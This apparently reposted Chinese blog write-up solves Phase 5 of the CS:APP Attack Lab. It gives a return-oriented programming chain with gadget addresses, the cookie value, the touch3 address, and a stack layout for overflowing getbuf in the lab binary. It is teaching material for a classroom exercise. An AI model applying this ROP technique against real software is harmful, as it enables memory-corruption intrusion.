首页 > 其他 > 详细

Attack Lab: Phase 5 题解

时间:2021-01-21 09:24:17      阅读:91      评论:0      收藏:0      [点我收藏+]

Phase 5 题解

前提

  1. 我们需要将 COOKIE 放在栈中
  2. COOKIE 的数据不能被覆盖
  3. 栈没有固定地址,因此无法提前得知 COOKIE 的地址
  4. 栈内存不可执行

大致思路

  1. 因为 COOKIE 存在栈中, 所以我们需要存储 rsp 的值到 reg 寄存器中
  2. reg 寄存器做加减法, 使得 reg 指向 COOKIE
  3. reg 赋值给 rdi 寄存器
  4. rettouch3

详细思路

  1. 找出所有可能的指令片段
  2. 对可能的片段进行筛选
    • 需要保存 rsp 的值
      48 89 e0: mov rsp, rax
      
    • 需要对 rax 进行偏移操作. 问题: 并不存在直接更改 rax 的指令片段, 但是可以通过其他寄存器修改 rax 的值.
      1. 首先,使得 rdi = rax
      2. 然后,使用 lea 指令,使得 rax = rdi + rsi. (问题:如何控制 rsi 的值?)
      3. 最后,使得 rdi = rax
  3. 对筛选出来的片段进行组合
    mov %rsp, %rax
    mov %rax, %rdi
    leaq (rdi, rsi, 1), rax
    mov %rax, %rdi
    
  4. 解决关键问题: 如何控制 rsi 的值?
    • 在调用 getbuf 中的 Gets 读取一段字符串后, rsi 的值与最后一个字符有关.经过观察,我们得到,假如最后一个字符是 ‘0‘ 的话,那么 rsi = 0x30.
  5. 调用 getbuf 时栈内存的分布
      _____________________________________________
      111                                         | 
      ...              purpose: set rsi=0x30      |
      194            : padding "00000000"         |
      ____________________________________________|
      103                                         | 
      ...                                         |
      96             : COOKIE                     |
      ____________________________________________|
      95                                          | 
      ...                                         |
      88             : padding "00000000"         |
      ____________________________________________|
      87                                          | 
      ...                                         |
      80             : padding "00000000"         |
      ____________________________________________|
      79                                          |
      ...                                         |
      72             : RA  <touch3>               |
      ____________________________________________|
      71                          rdi=96          | 
      ...                         0x4019a2        |
      64             : RA  mov    %rax,%rdi       |
      ____________________________________________|
      63                                          | 
      ...                         0x4019d6        |
      56             : RA lea (%rdi,%rsi,1),%rax  |
      ____________________________________________|
      55                                          |
      ...                         0x4019a2        |
      48             : RA  mov    %rax,%rdi       |
      ____________________________________________|
      47                                          |
      ...                         0x401a06        |
      40             : RA  mov    %rsp,%rax       |
      ____________________________________________|
      39                                          |
      ...                                         |
      32                                          |
      ____________________________________________|
      31                                          |
                                                  |
                                                  |
                                                  |
                                                  |
                                                  |
                                                  |
      0            : buf[0]                       |
      ____________________________________________|
                                                  |
                                                  |
                                                  |
                                                  |
                  getbuf                          |
      ____________________________________________|
    
    
      cookie: 0x59b997fa
      touch3: 0x4018fa, LE: fa 18 40 00 00 00 00 00
    
      RA: return address
    

Attack Lab: Phase 5 题解

原文:https://www.cnblogs.com/revc/p/14305570.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!